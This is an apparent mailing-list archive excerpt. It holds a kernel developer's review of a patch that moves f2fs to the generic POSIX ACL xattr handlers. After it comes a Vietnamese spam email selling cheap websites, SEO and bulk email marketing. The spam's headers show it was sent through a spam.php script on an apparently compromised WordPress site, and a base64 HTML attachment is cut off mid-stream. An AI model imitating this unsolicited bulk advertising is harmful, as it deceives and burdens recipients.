dv9dsLUiApoSt5a3M4OsZRaYwizxYOYcsJksAqoSFxe9ZQSxOQXsJB78Xc8O0VwoMXfJFTCb X0BU4vDC7cwQ9ytJ7G7vZJ/AKDQLydWzEK6eheTqBYzMqxhFUwuSC4qT0nMN9YoTc4tL89L1 kvNzNzGCk8wzqR2MKxssDjEKcDAq8fByrFoQJMSaWFZcmXuIUYKDWUmEt0d8YZAQb0piZVVq UX58UWlOavEhxmSgwycyS4km5wMTYF5JvKGxiZmRpZGZhZGJuTlpwkrivAdarQOFBNITS1Kz U1MLUotgtjBxcEo1MC47arTZeiXT/MN/ZDYd/Np/cen3QjuN1Y/TZ0UWZ3lviLRVsrJr5S3d e9H6+XV/wZgZvc8sX66Od5AQF9Uo7TuYzSnaX/rGZVXhQul8qZAH2iuqg/IzJl3heLJ28X79 2lXTJK2aM1cqL3LZeIThvkj3/N4Nbo5LpL6uOXLNcf1+XVOGGyoz5yqxFGckGmoxFxUnAgDG Dee1dgMAAA== DLP-Filter: Pass X-MTR: 20000000000000000@CPGS X-CFilter-Loop: Reflected X-Barracuda-Connect: mailout4.samsung.com[203.254.224.34] X-Barracuda-Start-Time: 1386293917 X-Barracuda-Encrypted: RC4-MD5 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 2013-12-01 (=EC=9D=BC), 03:59 -0800, Christoph Hellwig: > f2fs has some weird mode bit handling, so still using the old > chmod code for now. f2fs caches a new mode bit for a while to make the consistency between xattr's acl mode and the inode mode. Anyway, it's a very good job. Thanks, You can add: Reviewed-by: Jaegeuk Kim > > Signed-off-by: Christoph Hellwig > --- > fs/f2fs/acl.c | 140 +++++++++---------------------------------------------- > fs/f2fs/acl.h | 1 + > fs/f2fs/file.c | 1 + > fs/f2fs/namei.c | 2 + > fs/f2fs/xattr.c | 9 ++-- > fs/f2fs/xattr.h | 2 - > 6 files changed, 30 insertions(+), 125 deletions(-) > > diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c > index 45e8430..4f52fe0f 100644 > --- a/fs/f2fs/acl.c > +++ b/fs/f2fs/acl.c > @@ -205,7 +205,7 @@ struct posix_acl *f2fs_get_acl(struct inode *inode, int type) > return acl; > } > > -static int f2fs_set_acl(struct inode *inode, int type, > +static int __f2fs_set_acl(struct inode *inode, int type, > struct posix_acl *acl, struct page *ipage) > { > struct f2fs_sb_info *sbi =3D F2FS_SB(inode->i_sb); > @@ -261,37 +261,32 @@ static int f2fs_set_acl(struct inode *inode, int type, > return error; > } > > +int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type) > +{ > + return __f2fs_set_acl(inode, type, acl, NULL); > +} > + > int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) > { > - struct f2fs_sb_info *sbi =3D F2FS_SB(dir->i_sb); > - struct posix_acl *acl =3D NULL; > + struct posix_acl *default_acl, *acl; > int error =3D 0; > > - if (!S_ISLNK(inode->i_mode)) { > - if (test_opt(sbi, POSIX_ACL)) { > - acl =3D f2fs_get_acl(dir, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - } > - if (!acl) > - inode->i_mode &=3D ~current_umask(); > - } > - > - if (!test_opt(sbi, POSIX_ACL) || !acl) > - goto cleanup; > + error =3D posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > + if (error) > + return error; > > - if (S_ISDIR(inode->i_mode)) { > - error =3D f2fs_set_acl(inode, ACL_TYPE_DEFAULT, acl, ipage); > + if (default_acl) { > + error =3D __f2fs_set_acl(inode, ACL_TYPE_DEFAULT, default_acl, > + ipage); > + posix_acl_release(default_acl); > + } > + if (acl) { > if (error) > - goto cleanup; > + error =3D __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, > + ipage); > + posix_acl_release(acl); > } > - error =3D __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > - if (error < 0) > - return error; > - if (error > 0) > - error =3D f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, ipage); > -cleanup: > - posix_acl_release(acl); > + > return error; > } > > @@ -315,100 +310,7 @@ int f2fs_acl_chmod(struct inode *inode) > if (error) > return error; > > - error =3D f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); > - posix_acl_release(acl); > - return error; > -} > - > -static size_t f2fs_xattr_list_acl(struct dentry *dentry, char *list, > - size_t list_size, const char *name, size_t name_len, int type) > -{ > - struct f2fs_sb_info *sbi =3D F2FS_SB(dentry->d_sb); > - const char *xname =3D POSIX_ACL_XATTR_DEFAULT; > - size_t size; > - > - if (!test_opt(sbi, POSIX_ACL)) > - return 0; > - > - if (type =3D=3D ACL_TYPE_ACCESS) > - xname =3D POSIX_ACL_XATTR_ACCESS; > - > - size =3D strlen(xname) + 1; > - if (list && size <=3D list_size) > - memcpy(list, xname, size); > - return size; > -} > - > -static int f2fs_xattr_get_acl(struct dentry *dentry, const char *name, > - void *buffer, size_t size, int type) > -{ > - struct f2fs_sb_info *sbi =3D F2FS_SB(dentry->d_sb); > - struct posix_acl *acl; > - int error; > - > - if (strcmp(name, "") !=3D 0) > - return -EINVAL; > - if (!test_opt(sbi, POSIX_ACL)) > - return -EOPNOTSUPP; > - > - acl =3D f2fs_get_acl(dentry->d_inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (!acl) > - return -ENODATA; > - error =3D posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > - posix_acl_release(acl); > - > - return error; > -} > - > -static int f2fs_xattr_set_acl(struct dentry *dentry, const char *name, > - const void *value, size_t size, int flags, int type) > -{ > - struct f2fs_sb_info *sbi =3D F2FS_SB(dentry->d_sb); > - struct inode *inode =3D dentry->d_inode; > - struct posix_acl *acl =3D NULL; > - int error; > - > - if (strcmp(name, "") !=3D 0) > - return -EINVAL; > - if (!test_opt(sbi, POSIX_ACL)) > - return -EOPNOTSUPP; > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - if (value) { > - acl =3D posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl) { > - error =3D posix_acl_valid(acl); > - if (error) > - goto release_and_out; > - } > - } else { > - acl =3D NULL; > - } > - > - error =3D f2fs_set_acl(inode, type, acl, NULL); > - > -release_and_out: > + error =3D __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); > posix_acl_release(acl); > return error; > } > - > -const struct xattr_handler f2fs_xattr_acl_default_handler =3D { > - .prefix =3D POSIX_ACL_XATTR_DEFAULT, > - .flags =3D ACL_TYPE_DEFAULT, > - .list =3D f2fs_xattr_list_acl, > - .get =3D f2fs_xattr_get_acl, > - .set =3D f2fs_xattr_set_acl, > -}; > - > -const struct xattr_handler f2fs_xattr_acl_access_handler =3D { > - .prefix =3D POSIX_ACL_XATTR_ACCESS, > - .flags =3D ACL_TYPE_ACCESS, > - .list =3D f2fs_xattr_list_acl, > - .get =3D f2fs_xattr_get_acl, > - .set =3D f2fs_xattr_set_acl, > -}; > diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h > index 4963313..2af31fe 100644 > --- a/fs/f2fs/acl.h > +++ b/fs/f2fs/acl.h > @@ -37,6 +37,7 @@ struct f2fs_acl_header { > #ifdef CONFIG_F2FS_FS_POSIX_ACL > > extern struct posix_acl *f2fs_get_acl(struct inode *, int); > +extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); > extern int f2fs_acl_chmod(struct inode *); > extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); > #else > diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c > index 7d714f4..13eff60 100644 > --- a/fs/f2fs/file.c > +++ b/fs/f2fs/file.c > @@ -405,6 +405,7 @@ const struct inode_operations f2fs_file_inode_operations =3D { > .getattr =3D f2fs_getattr, > .setattr =3D f2fs_setattr, > .get_acl =3D f2fs_get_acl, > + .set_acl =3D f2fs_set_acl, > #ifdef CONFIG_F2FS_FS_XATTR > .setxattr =3D generic_setxattr, > .getxattr =3D generic_getxattr, > diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c > index 575adac..5846eeb 100644 > --- a/fs/f2fs/namei.c > +++ b/fs/f2fs/namei.c > @@ -496,6 +496,7 @@ const struct inode_operations f2fs_dir_inode_operations =3D { > .getattr =3D f2fs_getattr, > .setattr =3D f2fs_setattr, > .get_acl =3D f2fs_get_acl, > + .set_acl =3D f2fs_set_acl, > #ifdef CONFIG_F2FS_FS_XATTR > .setxattr =3D generic_setxattr, > .getxattr =3D generic_getxattr, > @@ -522,6 +523,7 @@ const struct inode_operations f2fs_special_inode_operations =3D { > .getattr =3D f2fs_getattr, > .setattr =3D f2fs_setattr, > .get_acl =3D f2fs_get_acl, > + .set_acl =3D f2fs_set_acl, > #ifdef CONFIG_F2FS_FS_XATTR > .setxattr =3D generic_setxattr, > .getxattr =3D generic_getxattr, > diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c > index aa7a3f1..e2b9299 100644 > --- a/fs/f2fs/xattr.c > +++ b/fs/f2fs/xattr.c > @@ -21,6 +21,7 @@ > #include > #include > #include > +#include > #include "f2fs.h" > #include "xattr.h" > > @@ -216,8 +217,8 @@ const struct xattr_handler f2fs_xattr_security_handler =3D { > static const struct xattr_handler *f2fs_xattr_handler_map[] =3D { > [F2FS_XATTR_INDEX_USER] =3D &f2fs_xattr_user_handler, > #ifdef CONFIG_F2FS_FS_POSIX_ACL > - [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] =3D &f2fs_xattr_acl_access_handler, > - [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &f2fs_xattr_acl_default_handler, > + [F2FS_XATTR_INDEX_POSIX_ACL_ACCESS] =3D &posix_acl_access_xattr_handler, > + [F2FS_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &posix_acl_default_xattr_handler, > #endif > [F2FS_XATTR_INDEX_TRUSTED] =3D &f2fs_xattr_trusted_handler, > #ifdef CONFIG_F2FS_FS_SECURITY > @@ -229,8 +230,8 @@ static const struct xattr_handler *f2fs_xattr_handler_map[] =3D { > const struct xattr_handler *f2fs_xattr_handlers[] =3D { > &f2fs_xattr_user_handler, > #ifdef CONFIG_F2FS_FS_POSIX_ACL > - &f2fs_xattr_acl_access_handler, > - &f2fs_xattr_acl_default_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > #endif > &f2fs_xattr_trusted_handler, > #ifdef CONFIG_F2FS_FS_SECURITY > diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h > index 02a08fb..b21d9eb 100644 > --- a/fs/f2fs/xattr.h > +++ b/fs/f2fs/xattr.h > @@ -108,8 +108,6 @@ struct f2fs_xattr_entry { > #ifdef CONFIG_F2FS_FS_XATTR > extern const struct xattr_handler f2fs_xattr_user_handler; > extern const struct xattr_handler f2fs_xattr_trusted_handler; > -extern const struct xattr_handler f2fs_xattr_acl_access_handler; > -extern const struct xattr_handler f2fs_xattr_acl_default_handler; > extern const struct xattr_handler f2fs_xattr_advise_handler; > extern const struct xattr_handler f2fs_xattr_security_handler; > -- Jaegeuk Kim Samsung From hshopatta@shopatta.com Thu Dec 5 20:00:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLYTO,HTML_FONT_SIZE_LARGE,HTML_MESSAGE, SUBJECT_NEEDS_ENCODING,T_CTYPE_NULL,T_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 118847F4E for ; Thu, 5 Dec 2013 20:00:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 995BE8F8049 for ; Thu, 5 Dec 2013 17:59:58 -0800 (PST) X-ASG-Debug-ID: 1386295194-04bdf013225cf00001-NocioJ Received: from server12.hula.vn (221.132.33.0-static [221.132.33.12]) by cuda.sgi.com with ESMTP id rR18CDArfahl5yhV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 17:59:55 -0800 (PST) X-Barracuda-Envelope-From: hshopatta@shopatta.com X-Barracuda-Apparent-Source-IP: 221.132.33.12 Received: from apache by server12.hula.vn with local (Exim 4.77) (envelope-from ) id 1Vokht-0000MU-Ml for xfs@oss.sgi.com; Fri, 06 Dec 2013 08:59:53 +0700 To: xfs@oss.sgi.com Subject: Công Ty Cổ Phần Giải Pháp Số Hà Nội X-PHP-Script: shopatta.com/wp-content/uploads/background/spam.php for 42.113.32.214 X-ASG-Orig-Subj: Công Ty Cổ Phần Giải Pháp Số Hà Nội From: Nguyễn Mạnh Linh Reply-To: linh92c@gmail.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=7376DDFEA5F58E2D1DDBD0553763F53E Message-Id: Date: Fri, 06 Dec 2013 08:59:53 +0700 X-Barracuda-Connect: 221.132.33.0-static[221.132.33.12] X-Barracuda-Start-Time: 1386295194 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.69 X-Barracuda-Spam-Status: No, SCORE=2.69 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2, HTML_FONT_SIZE_LARGE, HTML_MESSAGE, SUBJECT_NEEDS_ENCODING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142877 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 SUBJECT_NEEDS_ENCODING SUBJECT_NEEDS_ENCODING 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers --7376DDFEA5F58E2D1DDBD0553763F53E Content-Type: text/html Content-Transfer-Encoding: 8bit

DỊCH VỤ WEBSITE SIÊU RẺ




Dịch vụ nâng cấp Website, giúp website của bạn sẽ được tối ưu hóa 1 cách toàn vẹn.

Dịch vụ SEO Website sẽ đưa website của bạn lên top đầu trong kết quả t́m kiếm google với những từ khóa chốt.

Giảm giá 5% cho gói Email Marketting. Hàng ngìn email tới khách hàng chỉ trong vài phút.
Tặng ngay 1 Tên Miền + hosting khi thiết kế website theo yêu cầu.
Tặng 5000 email cho khách hàng khi sử dụng dịch vụ của chúng Tôi
Website giá rẻ chỉ 1 triệu đồng khách hàng Đã có 1 website gồm hosting ,domain sử dụng trong vòng 1 năm và trên 3 triệu đồng khách hàng đã có 1 website thiết kế theo phong cách riêng mình để bán hàng và quảng bá sản phẩm và cạnh tranh với những đối thủ khác
Giảm Giá 30% SEO Top Google Cho Những Khách Hàng Làm Website bên công ty mình

---------Mọi chi tiết liên hệ-----------


CÔNG TY CP GIẢI PHÁP SỐ HÀ NỘI VNET
Số 7 - Ngõ 61/6 - Phạm Tuấn Tài - Cầu Giấy
Hotline: 01677.247.547
Email: linh92c@gmail.com
Yahoo: linhvnet@yahoo.com

--7376DDFEA5F58E2D1DDBD0553763F53E Content-Type: ; name="cty co phan giai phao so hn.htm" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="cty co phan giai phao so hn.htm" PGhlYWQ+DQo8c3R5bGU+DQo8IS0tDQogdGFibGUuTXNvTm9ybWFsVGFibGUNCgl7bXNvLXN0eWxl LXBhcmVudDoiIjsNCglsaW5lLWhlaWdodDoxMTUlOw0KCWZvbnQtc2l6ZToxMS4wcHQ7DQoJZm9u dC1mYW1pbHk6IkNhbGlicmkiLCJzYW5zLXNlcmlmIjsNCgl9DQotLT4NCjwvc3R5bGU+DQo8L2hl YWQ+DQoNCg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCgk8Zm9udCBzaXplPSI2IiBjb2xvcj0iIzAw ODAwMCI+DQoJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC1zdHlsZTogaXRh bGljOyBmb250LXdlaWdodDogNzAwIj5EJiM3ODgyO0NIIA0KCVYmIzc5MDg7IFdFQlNJVEUgU0nK VSBSJiM3ODY2Ozwvc3Bhbj48L2ZvbnQ+PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KCSZu YnNwOzwvZGl2Pg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCgkmbmJzcDs8L2Rpdj4NCjxkaXYgYWxp Z249ImNlbnRlciI+DQoJJm5ic3A7PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KCSZuYnNw OzwvZGl2Pg0KPGRpdiBhbGlnbj0ibGVmdCI+DQoJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBB cmlhbDsgZm9udC13ZWlnaHQ6Ym9sZCI+DQoJPGZvbnQgc2l6ZT0iNCI+DQoJPGltZyBzcmM9Imh0 dHA6Ly9pMTA2NC5waG90b2J1Y2tldC5jb20vYWxidW1zL3UzNjQvZWRhbmd0aW4vaG90Mi5naWYi IGFsdD0iIiBib3JkZXI9IjAiPjwvZm9udD48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0 OiBib2xkOyAiPjxmb250IHNpemU9IjQiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWwi PiA8L3NwYW4+DQoJPC9mb250Pjwvc3Bhbj48Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMzMwMCI+ DQoJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC13ZWlnaHQ6Ym9sZCI+RCYj Nzg4MztjaCB2JiM3OTA5OyBu4m5nIGMmIzc4NDU7cCBXZWJzaXRlLCANCglnafpwIHdlYnNpdGUg YyYjNzkxMTthIGImIzc4NDE7biBzJiM3ODY5OyAmIzI3MzsmIzQzMjsmIzc5MDc7YyB0JiM3ODg5 O2kgJiM0MzI7dSBo82EgMSBj4WNoIHRv4G4gdiYjNzg2NTtuLjwvc3Bhbj48L2ZvbnQ+PC9kaXY+ DQo8ZGl2IGFsaWduPSJsZWZ0Ij4NCgkmbmJzcDs8L2Rpdj4NCjxkaXYgYWxpZ249ImxlZnQiPg0K CTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGZvbnQtd2VpZ2h0OmJvbGQiPg0KCTxm b250IHNpemU9IjQiIGNvbG9yPSIjMDA4MDgwIj4NCgk8aW1nIHNyYz0iaHR0cDovL2kxMDY0LnBo b3RvYnVja2V0LmNvbS9hbGJ1bXMvdTM2NC9lZGFuZ3Rpbi9ob3QyLmdpZiIgYWx0PSIiIGJvcmRl cj0iMCI+DQoJPC9mb250Pjxmb250IGNvbG9yPSIjMDAzMzAwIiBzaXplPSI0Ij5EJiM3ODgzO2No IHYmIzc5MDk7IFNFTyBXZWJzaXRlIHMmIzc4Njk7ICYjMjczOyYjNDMyO2Egd2Vic2l0ZSBjJiM3 OTExO2EgDQoJYiYjNzg0MTtuIGzqbiB0b3AgJiMyNzM7JiM3ODQ3O3UgdHJvbmcgayYjNzg3MTt0 IHF1JiM3ODQzOyB07G0ga2kmIzc4NzE7bSBnb29nbGUgdiYjNzg5OTtpIG5oJiM3OTE5O25nIHQm Izc5MTU7IGto82E8L2ZvbnQ+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogYm9sZDsg Zm9udC1mYW1pbHk6IEFyaWFsIj48Zm9udCBjb2xvcj0iIzAwMzMwMCIgc2l6ZT0iNCI+IA0KCWNo JiM3ODg5O3QuPGJyPg0KCSZuYnNwOzwvZm9udD48L3NwYW4+PC9kaXY+DQo8c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6QXJpYWw7IGZvbnQtd2VpZ2h0OmJvbGQiPg0KPGZvbnQgc2l6ZT0iNCIgY29s b3I9IiMwMDMzMDAiPg0KPGltZyBzcmM9Imh0dHA6Ly9pMTA2NC5waG90b2J1Y2tldC5jb20vYWxi dW1zL3UzNjQvZWRhbmd0aW4vaG90Mi5naWYiIGFsdD0iIiBib3JkZXI9IjAiPiANCjwvZm9udD4N Cjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkYwMDAwIj5HaSYjNzg0MzttIGdp4SA1JSA8L2ZvbnQ+ DQo8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMzMwMCI+Y2hvIGfzaSBFbWFpbCBNYXJrZXR0aW5n Lg0KSOBuZyBuZ2jsbiBlbWFpbCB0JiM3ODk5O2kga2jhY2ggaOBuZyBjaCYjNzg4MTsgdHJvbmcg DQp24GkgcGj6dC4gPC9mb250Pjwvc3Bhbj4NCjxwPg0KPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5 OkFyaWFsOyBmb250LXdlaWdodDpib2xkIj4NCjxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAzMzAw Ij4NCjxpbWcgc3JjPSJodHRwOi8vaTEwNjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy91MzY0L2Vk YW5ndGluL2hvdDIuZ2lmIiBhbHQ9IiIgYm9yZGVyPSIwIj4NCjwvZm9udD48Zm9udCBzaXplPSI0 IiBjb2xvcj0iI0ZGMDAwMCI+VCYjNzg2MztuZyBuZ2F5IDEgVOpuIE1pJiM3ODczO24gKyBob3N0 aW5nIDwvZm9udD4NCjxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAzMzAwIj5raGkgdGhpJiM3ODcx O3QgayYjNzg3MTsgd2Vic2l0ZSB0aGVvIHnqdSBjJiM3ODQ3O3UuPC9mb250Pjwvc3Bhbj48L3A+ DQo8cD4NCjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTpBcmlhbDsgZm9udC13ZWlnaHQ6Ym9sZCI+ DQo8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMzMwMCI+DQo8aW1nIHNyYz0iaHR0cDovL2kxMDY0 LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvdTM2NC9lZGFuZ3Rpbi9ob3QyLmdpZiIgYWx0PSIiIGJv cmRlcj0iMCI+PC9mb250Pg0KPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiNGRjAwMDAiPg0KVCYjNzg2 MztuZyA1MDAwIGVtYWlsPC9mb250Pjxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAzMzAwIj4NCmNo byBraOFjaCBo4G5nIGtoaSBzJiM3OTE3OyBkJiM3OTA5O25nIGQmIzc4ODM7Y2ggdiYjNzkwOTsg YyYjNzkxMTthIGNo+m5nIDwvZm9udD48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImZvbnQt ZmFtaWx5OkFyaWFsOyBmb250LXdlaWdodDpib2xkIj48Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAw MzMwMCI+IDxpbWcgc3JjPSJodHRwOi8vaTEwNjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy91MzY0 L2VkYW5ndGluL2hvdDIuZ2lmIiBhbHQ9IiIgYm9yZGVyPSIwIiAvPldlYnNpdGUgZ2kmYWFjdXRl OyByJiM3ODY3OyBjaCYjNzg4MTsgMSB0cmkmIzc4Nzk7dSAmIzI3MzsmIzc4OTE7bmcgIGtoJmFh Y3V0ZTtjaCBoJmFncmF2ZTtuZyAmIzI3MjsmYXRpbGRlOyBjJm9hY3V0ZTsgMSB3ZWJzaXRlIGIm YWFjdXRlO24gaCZhZ3JhdmU7bmcgcXUmIzc4NDM7bmcgYiZhYWN1dGU7IHMmIzc4NDM7bmcgcGgm Izc4NDk7bSB2JmFncmF2ZTsgYyYjNzg0MTtuaCB0cmFuaCB2JiM3ODk5O2kgbmgmIzc5MTk7bmcg JiMyNzM7JiM3ODg5O2kgdGgmIzc5MTE7IGtoJmFhY3V0ZTtjIDwvZm9udD48L3NwYW4+PC9wPg0K PHRhYmxlIGNsYXNzPSJNc29Ob3JtYWxUYWJsZSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMCIg Y2VsbHBhZGRpbmc9IjAiIGFsaWduPSJsZWZ0IiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDYuNzVwdDsg bWFyZ2luLXJpZ2h0OiA2Ljc1cHQiPg0KCTx0cj4NCgkJPHRkIHdpZHRoPSI2MjMiIHZhbGlnbj0i dG9wIiBzdHlsZT0id2lkdGg6NDY3LjVwdDtib3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsN CiAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0Ij4NCgkJPHAgY2xhc3M9Ik1zb05vcm1hbCIg YWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5v cm1hbDsgbWFyZ2luLWJvdHRvbTogMTIuMHB0Ij4NCgkJPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFt aWx5OiBUaW1lcyBOZXcgUm9tYW47IGNvbG9yOiByZWQiPg0KCQk8Zm9udCBzaXplPSI0Ij5XZWJz aXRlIJYgR2nhIFImIzc4Njc7IC0gJiMyNzI7JiM3ODQ3O3kgJiMyNzM7JiM3OTExOyB07W5oIG4m IzI1OTtuZzwvZm9udD48L3NwYW4+PC9iPjwvcD4NCgkJPGRpdiBhbGlnbj0iY2VudGVyIj4NCgkJ CTx0YWJsZSBjbGFzcz0iTXNvTm9ybWFsVGFibGUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjAi IGNlbGxwYWRkaW5nPSIwIiB3aWR0aD0iNjA5IiBzdHlsZT0id2lkdGg6IDQ1Ny4xcHQiPg0KCQkJ CTx0ciBzdHlsZT0iaGVpZ2h0OiAyOC4xcHQiPg0KCQkJCQk8dGQgd2lkdGg9IjEyNCIgY29sc3Bh bj0iMiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo5My4xNXB0O2JvcmRlcjpzb2xpZCB3aW5k b3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6Mjgu MXB0IiBiZ2NvbG9yPSIjRkZDQzY2Ij4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249 ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+ DQoJCQkJCTxiPjxpPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4N CgkJCQkJPGZvbnQgc2l6ZT0iNCI+S2h1eSYjNzg3MTtuIG0mIzc4NDE7aTwvZm9udD48L3NwYW4+ PC9pPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjI0NSIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3 aWR0aDoxODMuNHB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6 MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjguMXB0IiBiZ2NvbG9yPSIjRkZDQzY2Ij4NCgkJ CQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246 IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxpPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+VGhpJiM3 ODcxO3QgayYjNzg3MTsgdGhlbyBtJiM3ODUxO3UgcyYjNzg2MTtuIGPzPC9mb250Pjwvc3Bhbj48 L2k+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMjQxIiB2YWxpZ249InRvcCIgc3R5bGU9Indp ZHRoOjE4MC41NXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6 MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MjguMXB0IiBiZ2NvbG9yPSIjRkZDQzY2Ij4NCgkJ CQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246 IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxpPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+VGhpJiM3 ODcxO3QgayYjNzg3MTsgdGhlbyB56nUgYyYjNzg0Nzt1IGto4WNoIGjgbmc8L2ZvbnQ+PC9zcGFu PjwvaT48L2I+PC90ZD4NCgkJCQk8L3RyPg0KCQkJCTx0ciBzdHlsZT0iaGVpZ2h0OiAxNC43NXB0 Ij4NCgkJCQkJPHRkIHdpZHRoPSI5NiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo3Mi4yNXB0 